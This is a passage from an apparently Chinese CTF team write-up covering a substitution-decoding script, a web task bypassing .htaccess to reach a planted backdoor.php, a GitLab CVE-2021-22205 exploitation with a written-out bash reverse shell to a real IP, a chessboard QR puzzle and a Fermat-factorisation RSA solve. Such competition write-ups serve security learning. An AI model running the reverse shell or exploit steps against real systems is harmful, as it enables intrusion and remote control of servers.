SFSdSeSfS0S1S2S3SGSHSIS4S5S6S7SJSKSLS+S/SMSNSOSmSnSoSPSQSRSXSYSZS8STSUSVSWS9XgXhXiXjXkXlXpXqXrXsXtXuXvXwXxXyXzXAXBXCXaXbXcXDXEXFXdXeXfX0X1X2X3XGXHXIX4X5X6X7XJXKXLX+X/XMXNXOXmXnXoXPXQXRXSXYXZX8XTXUXVXWX9YgYhYiYjYkYlYpYqYrYsYtYuYvYwYxYyYzYAYBYCYaYbYcYDYEYFYdYeYfY0Y1Y2Y3YGYHYIY4Y5Y6Y7YJYKYLY+Y/YMYNYOYmYnYoYPYQYRYSYXYZY8YTYUYVYWY9ZgZhZiZjZkZlZpZqZrZsZtZuZvZwZxZyZzZAZBZCZaZbZcZDZEZFZdZeZfZ0Z1Z2Z3ZGZHZIZ4Z5Z6Z7ZJZKZLZ+Z/ZMZNZOZmZnZoZPZQZRZSZXZYZ8ZTZUZVZWZ98g8h8i8j8k8l8p8q8r8s8t8u8v8w8x8y8z8A8B8C8a8b8c8D8E8F8d8e8f808182838G8H8I848586878J8K8L8+8/8M8N8O8m8n8o8P8Q8R8S8X8Y8Z8T8U8V8W89TgThTiTjTkTlTpTqTrTsTtTuTvTwTxTyTzTATBTCTaTbTcTDTETFTdTeTfT0T1T2T3TGTHTIT4T5T6T7TJTKTLT+T/TMTNTOTmTnToTPTQTRTSTXTYTZT8TUTVTWT9UgUhUiUjUkUlUpUqUrUsUtUuUvUwUxUyUzUAUBUCUaUbUcUDUEUFUdUeUfU0U1U2U3UGUHUIU4U5U6U7UJUKULU+U/UMUNUOUmUnUoUPUQURUSUXUYUZU8UTUVUWU9VgVhViVjVkVlVpVqVrVsVtVuVvVwVxVyVzVAVBVCVaVbVcVDVEVFVdVeVfV0V1V2V3VGVHVIV4V5V6V7VJVKVLV+V/VMVNVOVmVnVoVPVQVRVSVXVYVZV8VTVUVWV9WgWhWiWjWkWlWpWqWrWsWtWuWvWwWxWyWzWAWBWCWaWbWcWDWEWFWdWeWfW0W1W2W3WGWHWIW4W5W6W7WJWKWLW+W/WMWNWOWmWnWoWPWQWRWSWXWYWZW8WTWUWVW99g9h9i9j9k9l9p9q9r9s9t9u9v9w9x9y9z9A9B9C9a9b9c9D9E9F9d9e9f909192939G9H9I949596979J9K9L9+9/9M9N9O9m9n9o9P9Q9R9S9X9Y9Z989T9U9V9W"
out="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"
print(len(cin))
dic={}
for i in range(8190//2):
    dic[out[2*i:2*i+2]] = cin[2*i:2*i+2]
#print(dic)
for i in range(len(enc)//2):
    print(dic[enc[i*2:i*2+2]],end='')
flag="6c324d2c86a72b864a22f30e46d20220"
print()
print(len(flag))

Web

noumisotuitennnoka

本地测一下,确实是,执行了默认的create,zip,unzip后

会在/var/www/html目录下生成jsons文件夹,里面就是backdoor.php 和 .hatccess

刚开始想通过clean把/var/www/html/jsons/.htaccess 删掉,但是$substr的正则匹配拦住了,绕不过。

换个思路,通过 'remove_path' => $dev_dir 来清除。

要满足 realpath($dev_dir) == $dir 并且 删除.htaccess

可以构造 dev=/tmp/. 这里是重点,这样就可以在压缩过程中删除.htaccess了。

所以创建和解压也用/tmp作为目录

?action=create&subdir=/tmp
?action=zip&subdir=/tmp&dev=/tmp/.
?action=unzip&subdir=/tmp

解压后就没有.htaccess了

直接访问backdoor.php

V2XSec

新型车联网安全网络协议破解(阶段一)

赛题描述
某地方企业内网中采用自己设计的车联网安全通信协议(Vehicle networking security communication protocol,VSCP)与车联网应用进行通信以实现控制车辆的目的,利用该协议接发的所有网络数据包均含有用户的身份。选手需要通过漏洞利用、数据包解析以及数据包伪造三个步骤完成攻击。

阶段一: 内网服务器漏洞利用
参赛选手利用VPN客户端可以登入内网服务器Server1,该内网服务器被安全团队指出拥有某种漏洞,但内网管理员仍未采取任何安全措施。
Server1与车联网服务器Server2定时通信 (通信程序名为Vehicle Controller) ,通信时使用VSCP协议。
参赛选手需要挖掘并利用系统漏洞,获取Vehicle Controller程序的执行路径,执行路径下有flag,提交正确的flag即视为解题成功。
VPN下载链接: 链接:https://share.weiyun.com/LGGUOBfj 密码:x9yuf8
Server1IP地址给出为: 172.18.0.4

给的gitlab,但是tmd这代理脑子有病不走全局恶心死了,所以去看了一下VPN的配置文件

vpn-configs.json

应为我记得走的就是默认的配置 所以关注这个就行

"default" : {
  "configName" : "default",
  "vpnServerPort" : "13899",
  "identityCheckChoice" : "0",
  "vpnServerPrefix" : "/vpn/server",
  "socksPort" : "1080",
  "misIP" : "14.215.134.202",
  "isEncryption" : "true",
  "isSendingPrefix" : "false",
  "misPort" : "13899",
  "faceAuth" : "0",
  "gatewayPrefix" : "/min/gdcni9",
  "flowInspectionTime" : "30000",
  "vpnServerIP" : "14.215.134.202"
}

可以发现他是起了一个socksPort 为1080 ,所以本地走1080端口或者局域网走1080端口即可走通

然后就是直接上gitlab的CVE-2021-22205

但是直接打会报这个错误

Couldn't find a tree builder with the features you requested: lxml. Do you need to install a parser library?

这个是你用的那个解析库不对

然后全局修改为

# 把所有的"lxml"改成"html.parser"

就可以正常跑通了 然后就是写一个sh脚本去执行反弹shell即可(直接反弹不行)

echo 'bash -i >& /dev/tcp/152.136.46.28/7979 0>&1' > /tmp/90.sh

chmod +x /tmp/90.sh

/bin/bash /tmp/90.sh

然后就反弹回来了然后看一下题目的意思是找到 Vehicle Controller 的进程的路径 然后去找到这个进程的启动路径即可

ps -ef | grep Vehicle
readlink -f /proc/5452/exe

image

Misc

Welcome

签到题

国际象棋与二维码

image

题目说是国际象棋与二维码并且提示给了你见过国际象棋的棋盘吗,想到国际象棋是黑白交替又因为是二维码所以想到左上角如何拼出二维码的图像就是偶数的列和行都进行反转后发现确实存在二维码特征于是手撸一下得到二维码扫码就得到flag

image

扫码得到flag

image

Crypto

一眼看出

费马分解直接出p和q,正常解rsa

from isqrt import isqrt
from Crypto.Util.number import *

def fermat(n):
    a = isqrt(n)
    b2 = a * a - n
    b = isqrt(n)
    count = 0
    while b * b != b2:
        a = a + 1
        b2 = a * a - n
        b = isqrt(b2)
        count += 1
    p = a + b
    q = a - b
    assert n == p * q
    return p, q


if __name__ == '__main__':
    import libnum

    N = 121027298948349995679677982412648544403333177260975245569073983061538581058440163574922807151182889153495253964764966037308461724272151584478723275142858008261257709817963330011376266261119767294949088397671360123321149414700981035517299807126625758046100840667081332434968770862731073693976604061597575813313

    p, q = fermat(N)
    c = 42256117129723577554705402387775886393426604555611637074394963219097781224776058009003521565944180241032100329456702310737369381890041336312084091995865560402681403775751012856436207938771611177592600423563671217656908392901713661029126149486651409531213711103407037959788587839729511719756709763927616470267
    m=long_to_bytes(pow(c,inverse(65537,(p-1)*(q-1)),N))
    print(m)